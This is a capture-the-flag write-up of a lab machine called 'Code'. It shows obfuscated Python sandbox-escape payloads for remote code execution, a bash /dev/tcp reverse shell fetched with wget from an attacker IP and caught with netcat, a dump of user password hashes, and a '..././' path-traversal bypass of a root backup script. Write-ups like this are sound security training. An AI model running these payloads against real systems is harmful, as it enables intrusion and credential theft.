Code
Writeup of Code machine

Reconnaissance

Port 5000: This TCP port is opened and used by Universal Plug N' Play (UPnP) devices to accept incoming connections from other UPnP devices. UPnP devices connect to each other using TCP protocol over port 5000.
Accessing through the port 5000
https://10.10.11.62:5000
which showed me Python3 Interpreter. I was able to run different codes, and the most interesting part was that it was possible to touch the backend server. After trying many SSTI payloads, I've received successful attempts.
https://10.10.11.62:5000
which showed me Python3 Interpreter. I was able to run different codes, and the most interesting part was that it was possible to touch the backend server. After trying many SSTI payloads, I've received successful attempts.print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("whoami ").re'+'ad()'))
From this point, we can do Remote Code Execute to own app-application
Embedding bash -c 'sh -i >& /dev/tcp/10.10.xx.xx/PORT 0>&1'
into shell.sh
Netcat listener nc -lnvp PORT
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("wget 10.10.xx.xx:8080/shell.sh -O /tmp/shell.sh").re'+'ad()'))
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("bash /tmp/shell.sh").re'+'ad()'))
The first command retrieves your shell.sh
file and moves it to a temporary directory. Then, it executes it. Make sure to start up your python3 http server by running python3 -m http.server 8080
User.txt

Root
Back to the web portal, we can list the queries of database using this payload.
print([(user.id, user.username, user.password) for user in User.query.all()])
[(1, 'development', '759b74ce43947f5f4c91aeddc3e5bad3'), (2, 'martin', '3de6f30c4a09c27fc71932bfc68474be')]
Two users found. I unhashed their passwords and tried to login through ssh. As a result, logging in as martin worked.

Initial Access

backy.sh file has a root permission and requiring task.json file prior to execute.
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
This Bash script processes a JSON file containing directories to archive. Here's a simplified breakdown of its actions:
Input Validation:
It checks if a JSON file is provided. If not, it exits with a usage message.
File Existence Check:
It verifies that the specified JSON file exists. If not, it exits with an error.
Directory Processing:
The script updates the JSON file to remove any
../
from the directory paths usingjq
.
Allowed Path Check:
It checks that all directories listed in the JSON file are under
/var/
or/home/
. If any directory is outside these paths, it exits with an error.
Backup:
If all checks pass, it runs a backup command (
/usr/bin/backy
) to archive the directories.
Firstly, change the content of task.json file, which is inside backup directory as follows
{
"directories_to_archive": [
"/home/..././root/"
],
"destination": "/tmp"
}
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
This part of the script uses the jq
tool to remove any instances of ../
from the directory paths. However, it doesn’t directly remove ...
or ./
.
The key action here is:
Bypassing ../
: If the directory path contains ../
, this part of the script would remove it, preventing potential directory traversal attacks or misconfigurations. But it doesn’t clean up other characters like ./
or ...
, which could still cause issues in path validation.
Execute
sudo /usr/bin/backy.sh task.json
Then, go to the /tmp
directory to check what you've received.

The End!!! 🔚
Thank you!!! 🙏
Last updated